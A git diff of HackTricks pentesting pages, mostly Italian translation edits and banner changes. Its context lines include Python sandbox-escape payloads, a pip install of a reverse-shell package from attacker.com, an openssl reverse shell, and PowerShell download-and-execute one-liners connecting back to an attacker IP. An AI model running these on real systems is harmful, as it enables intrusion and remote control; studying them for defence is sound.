Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -351,7 +333,7 @@ Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,59 +1,45 @@
|
|||
# Ricerca ampia nel codice sorgente
|
||||
# Ricerca Ampia del Codice Sorgente
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Sostieni HackTricks</summary>
|
||||
<summary>Supporta HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
L'obiettivo di questa pagina è enumerare **le piattaforme che consentono di cercare codice** (letterale o regex) in migliaia/milioni di repo su una o più piattaforme.
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
Questo aiuta in diverse occasioni a **cercare informazioni trapelate** o per **modelli di vulnerabilità**.
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
Lo scopo di questa pagina è enumerare le **piattaforme che consentono di cercare codice** (letterale o regex) in migliaia/milioni di repository su una o più piattaforme.
|
||||
|
||||
Ciò aiuta in diverse occasioni a **cercare informazioni trapelate** o modelli di **vulnerabilità**.
|
||||
|
||||
* [**SourceGraph**](https://sourcegraph.com/search): Cerca in milioni di repository. Esiste una versione gratuita e una versione enterprise (con 15 giorni gratuiti). Supporta le regex.
|
||||
* [**Ricerca su Github**](https://github.com/search): Cerca su Github. Supporta le regex.
|
||||
* Potrebbe essere utile controllare anche [**Ricerca del codice su Github**](https://cs.github.com/).
|
||||
* [**Ricerca avanzata di Gitlab**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Cerca nei progetti di Gitlab. Supporta le regex.
|
||||
* [**SourceGraph**](https://sourcegraph.com/search): Cerca in milioni di repo. Esiste una versione gratuita e una versione enterprise (con 15 giorni gratuiti). Supporta le regex.
|
||||
* [**Github Search**](https://github.com/search): Cerca su Github. Supporta le regex.
|
||||
* Forse è anche utile controllare [**Github Code Search**](https://cs.github.com/).
|
||||
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Cerca tra i progetti Gitlab. Supporta le regex.
|
||||
* [**SearchCode**](https://searchcode.com/): Cerca codice in milioni di progetti.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Quando cerchi fughe in un repository e esegui qualcosa come `git log -p` non dimenticare che potrebbero esserci **altri branch con altri commit** contenenti segreti!
|
||||
Quando cerchi leak in un repo e esegui qualcosa come `git log -p` non dimenticare che potrebbero esserci **altre branch con altri commit** contenenti segreti!
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Sostieni HackTricks</summary>
|
||||
<summary>Supporta HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,19 +15,11 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
Questi sono alcuni trucchi per bypassare le protezioni della sandbox di Python ed eseguire comandi arbitrari.
|
||||
Questi sono alcuni trucchi per bypassare le protezioni delle sandbox di Python ed eseguire comandi arbitrari.
|
||||
|
||||
## Librerie di Esecuzione Comandi
|
||||
|
||||
La prima cosa che devi sapere è se puoi eseguire direttamente codice con qualche libreria già importata, o se potresti importare una di queste librerie:
|
||||
La prima cosa che devi sapere è se puoi eseguire direttamente codice con qualche libreria già importata, o se puoi importare una di queste librerie:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
|
@ -100,7 +92,7 @@ Se hai accesso a `pip` o `pip.main()`, puoi installare un pacchetto arbitrario e
|
|||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
Puoi scaricare il pacchetto per creare la reverse shell qui. Si prega di notare che prima di utilizzarlo dovresti **decomprimerlo, modificare il `setup.py` e inserire il tuo IP per la reverse shell**:
|
||||
Puoi scaricare il pacchetto per creare la reverse shell qui. Si prega di notare che prima di utilizzarlo è necessario **decomprimerlo, modificare il `setup.py` e inserire il proprio IP per la reverse shell**:
|
||||
|
||||
{% file src="../../../.gitbook/assets/Reverse.tar (1).gz" %}
|
||||
|
||||
|
@ -114,7 +106,7 @@ Questo pacchetto si chiama `Reverse`. Tuttavia, è stato appositamente creato in
|
|||
Nota che exec consente stringhe multilinea e ";", ma eval non lo fa (controlla l'operatore walrus)
|
||||
{% endhint %}
|
||||
|
||||
Se certi caratteri sono vietati, puoi utilizzare la **rappresentazione hex/octal/B64** per **bypassare** la restrizione:
|
||||
Se alcuni caratteri sono vietati, puoi utilizzare la **rappresentazione hex/octal/B64** per **bypassare** la restrizione:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
|
@ -330,7 +322,7 @@ pass
|
|||
* [**Funzioni builtins di python2**](https://docs.python.org/2/library/functions.html)
|
||||
* [**Funzioni builtins di python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
Se puoi accedere all'oggetto **`__builtins__`** puoi importare librerie (nota che potresti anche usare qui un'altra rappresentazione stringa mostrata nell'ultima sezione):
|
||||
Se puoi accedere all'oggetto **`__builtins__`** puoi importare librerie (nota che potresti anche usare qui un'altra rappresentazione di stringa mostrata nell'ultima sezione):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
|
@ -561,7 +553,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
|
|||
## Ricerca Ricorsiva di Builtins, Globals...
|
||||
|
||||
{% hint style="warning" %}
|
||||
Questo è semplicemente **fantastico**. Se stai **cercando un oggetto come globals, builtins, open o qualsiasi altra cosa**, usa questo script per **trovare ricorsivamente i luoghi in cui puoi trovare quell'oggetto.**
|
||||
Questo è semplicemente **fantastico**. Se stai **cercando un oggetto come globals, builtins, open o qualsiasi altra cosa** usa semplicemente questo script per **trovare ricorsivamente i luoghi in cui puoi trovare quell'oggetto.**
|
||||
{% endhint %}
|
||||
```python
|
||||
import os, sys # Import these to find more gadgets
|
||||
|
@ -678,7 +670,7 @@ print(SEARCH_FOR)
|
|||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
Puoi controllare l'output di questo script in questa pagina:
|
||||
Puoi controllare l'output di questo script su questa pagina:
|
||||
|
||||
{% content-ref url="https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md" %}
|
||||
[https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md)
|
||||
|
@ -881,7 +873,7 @@ dis.dis(get_flag)
|
|||
44 LOAD_CONST 0 (None)
|
||||
47 RETURN_VALUE
|
||||
```
|
||||
Nota che **se non puoi importare `dis` nel sandbox di python** puoi ottenere il **bytecode** della funzione (`get_flag.func_code.co_code`) e **disassemblarlo** localmente. Non vedrai il contenuto delle variabili che vengono caricate (`LOAD_CONST`), ma puoi indovinarle da (`get_flag.func_code.co_consts`) perché `LOAD_CONST` indica anche l'offset della variabile che viene caricata.
|
||||
Nota che **se non puoi importare `dis` nel sandbox python** puoi ottenere il **bytecode** della funzione (`get_flag.func_code.co_code`) e **disassemblarlo** localmente. Non vedrai il contenuto delle variabili che vengono caricate (`LOAD_CONST`), ma puoi indovinarle da (`get_flag.func_code.co_consts`) perché `LOAD_CONST` indica anche l'offset della variabile che viene caricata.
|
||||
```python
|
||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||
0 LOAD_CONST 1 (1)
|
||||
|
@ -906,7 +898,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
|||
## Compilare Python
|
||||
|
||||
Ora, immaginiamo che in qualche modo tu possa **estrarre le informazioni su una funzione che non puoi eseguire** ma che **devi** **eseguire**.\
|
||||
Come nel seguente esempio, puoi **accedere all'oggetto codice** di quella funzione, ma leggendo solo il disassemblaggio non **sai come calcolare il flag** (_immagina una funzione `calc_flag` più complessa_)
|
||||
Come nel seguente esempio, puoi **accedere all'oggetto codice** di quella funzione, ma leggendo semplicemente il disassemblaggio non **sai come calcolare il flag** (_immagina una funzione `calc_flag` più complessa_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
|
@ -966,8 +958,8 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
|
|||
```
|
||||
### Bypass Defenses
|
||||
|
||||
Negli esempi precedenti all'inizio di questo post, puoi vedere **come eseguire qualsiasi codice python utilizzando la funzione `compile`**. Questo è interessante perché puoi **eseguire interi script** con cicli e tutto in un **un'unica riga** (e potremmo fare lo stesso usando **`exec`**).\
|
||||
Comunque, a volte potrebbe essere utile **creare** un **oggetto compilato** su una macchina locale ed eseguirlo nella **macchina CTF** (ad esempio perché non abbiamo la funzione `compiled` nel CTF).
|
||||
Negli esempi precedenti all'inizio di questo post, puoi vedere **come eseguire qualsiasi codice python utilizzando la funzione `compile`**. Questo è interessante perché puoi **eseguire interi script** con cicli e tutto in un **unica riga** (e potremmo fare lo stesso usando **`exec`**).\
|
||||
Comunque, a volte potrebbe essere utile **creare** un **oggetto compilato** su una macchina locale ed eseguirlo sulla **macchina CTF** (ad esempio perché non abbiamo la funzione `compiled` nel CTF).
|
||||
|
||||
Ad esempio, compiliamo ed eseguiamo manualmente una funzione che legge _./poc.py_:
|
||||
```python
|
||||
|
@ -1028,7 +1020,7 @@ print("\nYou are a super user\n")
|
|||
except AssertionError:
|
||||
print(f"\nNot a Super User!!!\n")
|
||||
```
|
||||
will be bypassed
|
||||
sarà eluso
|
||||
|
||||
## Riferimenti
|
||||
|
||||
|
@ -1039,11 +1031,6 @@ will be bypassed
|
|||
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
||||
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -10,20 +10,12 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
**Se hai domande su una di queste shell puoi controllarle con** [**https://explainshell.com/**](https://explainshell.com)
|
||||
**Se hai domande su una di queste shell puoi controllarle su** [**https://explainshell.com/**](https://explainshell.com)
|
||||
|
||||
## Full TTY
|
||||
|
||||
|
@ -248,7 +240,7 @@ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -node
|
|||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
|
||||
```
|
||||
Il Vittima
|
||||
La Vittima
|
||||
```bash
|
||||
#Linux
|
||||
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||
|
@ -340,15 +332,9 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
|||
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,32 +1,24 @@
|
|||
# Shells - Windows
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Supporta HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Lolbas
|
||||
|
||||
La pagina [lolbas-project.github.io](https://lolbas-project.github.io/) è per Windows come [https://gtfobins.github.io/](https://gtfobins.github.io/) è per linux.\
|
||||
Ovviamente, **non ci sono file SUID o privilegi sudo in Windows**, ma è utile sapere **come** alcuni **binaries** possono essere (ab)usati per eseguire qualche tipo di azioni inaspettate come **eseguire codice arbitrario.**
|
||||
Ovviamente, **non ci sono file SUID o privilegi sudo in Windows**, ma è utile sapere **come** alcuni **binaries** possono essere (ab)usati per eseguire azioni inaspettate come **eseguire codice arbitrario.**
|
||||
|
||||
## NC
|
||||
```bash
|
||||
|
@ -399,7 +391,7 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
|||
|
||||
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
|
||||
|
||||
Nella cartella **Shells**, ci sono molte shell diverse. Per scaricare ed eseguire Invoke-_PowerShellTcp.ps1_ fai una copia dello script e aggiungi alla fine del file:
|
||||
Nella cartella **Shells**, ci sono molte shell diverse. Per scaricare ed eseguire Invoke-_PowerShellTcp.ps1_, fai una copia dello script e aggiungi alla fine del file:
|
||||
```
|
||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
||||
```
|
||||
|
@ -415,7 +407,7 @@ Defender non lo rileva come codice malevolo (ancora, 3/04/2019).
|
|||
|
||||
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
|
||||
|
||||
Scarica, avvia un server web, avvia il listener ed eseguilo sul lato della vittima:
|
||||
Scarica, avvia un server web, avvia il listener e eseguilo sul lato della vittima:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
|
@ -483,16 +475,11 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) console PS con alcuni moduli P
|
|||
* [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il pentesting su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il pentesting su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -500,7 +487,7 @@ Impara e pratica il pentesting su GCP: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,62 +1,49 @@
|
|||
# Modellazione delle Minacce
|
||||
# Threat Modeling
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
## Threat Modeling
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) è un motore di ricerca alimentato dal **dark web** che offre funzionalità **gratuite** per verificare se un'azienda o i suoi clienti sono stati **compromessi** da **malware ruba-informazioni**.
|
||||
Benvenuto nella guida completa di HackTricks sul Threat Modeling! Inizia un'esplorazione di questo aspetto critico della cybersecurity, dove identifichiamo, comprendiamo e strategizziamo contro potenziali vulnerabilità in un sistema. Questo thread funge da guida passo-passo ricca di esempi del mondo reale, software utili e spiegazioni facili da comprendere. Ideale sia per i principianti che per i professionisti esperti che cercano di rafforzare le loro difese di cybersecurity.
|
||||
|
||||
L'obiettivo principale di WhiteIntel è contrastare i takeover di account e gli attacchi ransomware derivanti da malware che ruba informazioni.
|
||||
### Commonly Used Scenarios
|
||||
|
||||
Puoi visitare il loro sito web e provare il loro motore **gratuitamente** su:
|
||||
1. **Sviluppo Software**: Come parte del Ciclo di Vita dello Sviluppo Software Sicuro (SSDLC), il threat modeling aiuta a **identificare potenziali fonti di vulnerabilità** nelle prime fasi di sviluppo.
|
||||
2. **Penetration Testing**: Il framework del Penetration Testing Execution Standard (PTES) richiede **threat modeling per comprendere le vulnerabilità del sistema** prima di eseguire il test.
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
### Threat Model in a Nutshell
|
||||
|
||||
***
|
||||
